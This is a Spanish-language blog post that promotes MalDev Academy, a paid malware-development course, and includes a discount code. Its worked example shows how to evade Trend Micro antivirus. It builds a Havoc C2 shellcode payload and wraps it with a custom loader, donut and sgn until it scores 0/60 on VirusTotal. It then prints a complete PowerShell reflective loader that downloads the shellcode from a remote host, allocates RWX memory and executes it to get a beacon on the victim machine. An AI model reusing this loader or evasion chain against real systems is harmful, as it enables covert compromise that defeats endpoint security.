Pues efectivamente la colaboración que hemos estado anunciando estas ultimas semanas no es ni más ni menos que con MalDev Academy 🔥😳🙈. Puede que algunos los conozcáis, puede que otros no, en cualquier caso, vamos a ver quienes son y un ejemplo real de como podemos aplicar lo que aprendemos en MalDev. Si tu principal interés es el red teaming, blue teaming, análisis de malware o forense digital, esta es tu plataforma.

¿Qué es MalDev Academy?

Logo de MalDev Academy

MalDev Academy es una academia especializada en desarrollo de malware formada por tres profesionales muy reconocidos en el sector: mr.d0x, NUL0x4C y 5pider.

Equipo de MalDev Academy

¿No te ha pasado alguna vez que a más avanzas en un tema, menos información o menos información de calidad encuentras? Suele pasar mucho cuando buscas información muy especializada o sobre un tema que no está tan extendido.

Pues hasta hace no mucho, esto pasaba con el desarrollo de malware. Es un tema avanzado en el cual, aunque sí había información, quizás no era, por un lado, tan accesible para principiantes, y por otro, tan centralizada. MalDev viene no solo a solucionar estos problemas, sino también a seguir aportando contenido técnico complejo para que los más avanzados puedan aprender. Vamos a ver cómo se estructura MalDev y qué contiene.

¿Qué contiene?

MalDev Academy básicamente se divide en dos: el curso y la base de datos. Vamos a ver de que trata cada una.

Malware Development Course

El curso es el principal contenido de la plataforma y está basado en módulos.

Interfaz de los módulos del curso

Actualmente te puedes encontrar +140 módulos de todas las dificultades:

  • Principiante

Módulos para principiantes

  • Intermedio

Módulos intermedios

  • Avanzado

Módulos avanzados

Lo mejor es que no se limita a todo esto, sino que están constantemente añadiendo nuevos módulos y actualizaciones:

Actualizaciones recientes de módulos

En el propio Syllabus de MalDev Academy de la plataforma puedes observar la línea de tiempo de lo que han ido metiendo desde que la plataforma saliera el año pasado:

Línea de tiempo del syllabus

Contenido actualizado del syllabus

Si te fijas, no solo meten contenido nuevo, sino también Challenges para que puedas poner a prueba lo que vas aprendiendo.

Challenges disponibles en la plataforma

Los módulos por dentro se ven de la siguiente manera:

Vista interior de un módulo

Contenido detallado de un módulo

Está todo explicado siempre paso por paso y constantemente te facilitan todo, incluso te proporcionan una VM con todas las herramientas que necesitas:

Máquina virtual proporcionada por MalDev

Base de Datos

Además de la academia, MalDev ofrece otro servicio conocido como la base de datos. Este servicio ofrece Code Snippets (fragmentos de código) de acciones específicas. Por ejemplo, ¿quieres buscar maneras de dumpear el LSASS de manera rápida? Pues solo tienes que hacer una búsqueda:

Búsqueda en la base de datos

Y te proporcionarán los distintos códigos disponibles para ello en la base de datos:

Resultados de búsqueda de código

Ejemplo de código snippet

El propósito de este servicio al final es ahorrar tiempo a los desarrolladores y tener de manera centralizada una buena fuente de referencias de código para que puedan ser usadas rápidamente. Además, esta base de datos está actualizándose constantemente:

Actualizaciones de la base de datos

No solo incluyen fragmentos de código para el desarrollo de malware, sino también para la creación de herramientas que nos puedan ser útiles para explotar vulnerabilidades o crear scripts que interactúen con servicios:

Herramientas y scripts disponibles

Discord Privado

Aunque los dos principales servicios de MalDev sean la academia y la base de datos, una de las cosas que mas valoro es el Discord al que te dan acceso:

Discord privado de MalDev Academy

El discord está lleno de actividad y están constantemente compartiendo técnicas nuevas. Además, si preguntas cualquier duda te responderán sin problemas.

Ejemplo

Vamos a probar a evadir el antivirus de Trend Micro Maximum Security con el objetivo de obtener un beacon en nuestro C2.

Esto es un ejemplo muy simplificado debido a que primeramente, estamos tratando con un AV y no un EDR. Además, de que la evasión no se limita al momento de obtener un beacon, sino que se deben de tener en cuenta todas las acciones posteriores que puedan generar telemetría que un AV/EDR puedan detectar.

Trend Micro Maximum Security

Interfaz del antivirus

Primero de todo nos conectaremos al C2 iniciando el cliente de Havoc:

Cliente de Havoc

Conexión al C2 establecida

Una vez estemos conectado vamos a configurar un Listener HTTPS:

Configuración del Listener

Listener HTTPS configurado

Con el Listener configurado, vamos a generar el Payload. Seleccionaremos el formato de Shellcode:

Generación del payload en formato shellcode

Llegados este punto ya tenemos los preparativos básicos hechos. En este ejemplo, haremos uso de un loader que se explica en uno de los módulos de MalDev Academy. Este loader posee las siguientes características:

  • Syscalls indirectos utilizando una implementación mejorada de HellHall.
  • Unhooking de Dll a través del directorio \KnownDlls\ sin usar permisos de memoria RWX. (recupera las versiones originales sin hook de ntdll.dll, kernel32.dll y kernelbase.dll).
  • Inyección de payload mediante segmentación, posiblemente evitando los filtros de eventos de EDR (divide el payload en varios fragmentos y los inyecta de manera gradual en memoria).
  • Uso de una librería personalizada de cifrado AES.
  • Ejecución del payload mediante las APIs del Thread Pool.
  • Ofuscación del IAT utilizando hashing de API y camuflaje de API.
  • Independiente de la librería CRT.

Código del loader personalizado

Este loader se ayuda de otro programa llamado PayloadEncrypter. La función principal de este programa es leer un payload del disco, encriptarlo, y luego guardarlo para almacenarlo dentro de la sección de recursos (.rsrc section) del loader.

Usaremos PayloadEncrypter con el payload generado por Havoc:

Uso de PayloadEncrypter con el payload

Una vez cifrado lo colocaremos en la sección de recursos (.rsrc section) del loader y compilaremos la herramienta:

Compilación del loader

Herramienta compilada exitosamente

En este momento ya tenemos una DLL maliciosa que ejecutará el payload de Havoc y proporcionará un beacon. Sin embargo, si lo dejamos tal cual está es detectado por bastantes soluciones de seguridad:

Detección inicial por soluciones de seguridad

Para intentar solucionarlo haremos uso de dos herramientas, la primera de ellas es donut. Donut es una herramienta que permite la ejecución en memoria de archivos VBScript, JScript, EXE, DLL y ensamblados .NET. La usaremos para, a partir de la DLL que tenemos, generar un binario que se pueda cargar directamente en la memoria y ejecutar sin necesidad de escribir el archivo en el disco. En este caso, estamos generando un “shellcode” a partir de la DLL utilizando el comando mostrado en la siguiente imagen.

Generación de shellcode con donut

Donut de manera por defecto utiliza técnicas de ofuscación y puede incluir mecanismos para desactivar AMSI y WLDP (Windows Lockdown Policy), lo que permite evadir ciertos mecanismos de seguridad de Windows.

Sobre el archivo generado por donut utilizaremos otra herramienta, sgn. SGN es un encoder binario polimórfico diseñado para propósitos de seguridad ofensiva, como la generación de payloads binarios indetectables de forma estática. De hecho, seguro que Shikata ga nai te suena, el famoso encoder de Metasploit. Pues este es una mejora de la implementación original, escrita en Golang.

Esta herramienta la descubrí en el servidor de MalDev:

Descubrimiento de sgn en el servidor de MalDev

Sea lo que sea, la usaremos para añadir una capa adicional de ofuscación y polimorfismo al payload generado por Donut:

Uso de sgn para ofuscar el payload

Esta herramienta proporciona el mismo formato de salida que Donut. Si ahora subimos este shellcode a VirusTotal:

Análisis en VirusTotal con 0/60 detecciones

Podemos observar que ninguna solución lo detecta como malicioso, obteniendo una puntuación de detección de 0/60.

Llegados a este punto, tenemos un shellcode lo suficientemente modificado como para probarlo con Trend Micro. En este caso haremos uso de reflexión para cargarlo en memoria. Esta técnica consiste en asignar espacio en memoria y copiar el shellcode directamente en él, sin escribir en el disco, resolviendo dinámicamente sus referencias y ejecutándolo en tiempo de ejecución. La reflexión permite inspeccionar, invocar y acceder a tipos de datos .NET. Por defecto, PowerShell proporciona acceso a las propiedades y métodos de acceso público, pero utilizando las API de reflexión, puede acceder a las partes internas de los tipos en .NET.

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

$Shellcode = (New-Object System.Net.WebClient).DownloadData("http://192.168.10.10/agent.bin.sgn")

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $lpMem, $Shellcode.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Si en el equipo víctima descargamos en memoria este archivo .ps1:

Descarga del script PowerShell en memoria

Ejecución del script

Nuestro shellcode se ejecutará y recibiremos el beacon en nuestro C2:

Beacon recibido en el C2

Conexión del beacon establecida

Acceso al sistema comprometido

Obteniendo así acceso al equipo sin importar la presencia de Trend Micro Maximum Security.

¡Descuento exclusivo! 🥳🙈🔥

Nota 01/02/2025: El descuento ya no está disponible : (, pero eso no significa que no pueda haber nuevos descuentos en el futuro, por lo que siguenos en las redes sociales para no perderte nada. ¡Un saludo!

MalDev ha confiado en Deep Hacking y nos ha proporcionado un código de descuento exclusivo para vosotros, podéis obtener un 10% de descuento usando el código DEEPHACKING10 tanto en el plan lifetime como en el bundle (este último contiene el acceso a la base de datos).

Para hacer uso del código a la hora de la compra tenéis que añadirlo aquí:

Campo para añadir código de descuento

Una vez añadido se aplicará el 10% de descuento para el plan que hayáis elegido.

Descuento aplicado correctamente

Conclusión

Hoy en día existen muchas plataformas de formación, por ejemplo, los cursos carísimos de OffSec que, en proporción a lo que cuestan y lo que te enseñan, no valen para nada la pena. Sin embargo, en el otro lado, existen plataformas como MalDev que no solo cuestan una cuarta parte, sino que el valor que te proporcionan es muchísimo mayor. Recomiendo esta plataforma no solo porque la considero buena, sino porque yo mismo soy usuario de ella y estoy encantado con el contenido que ofrecen.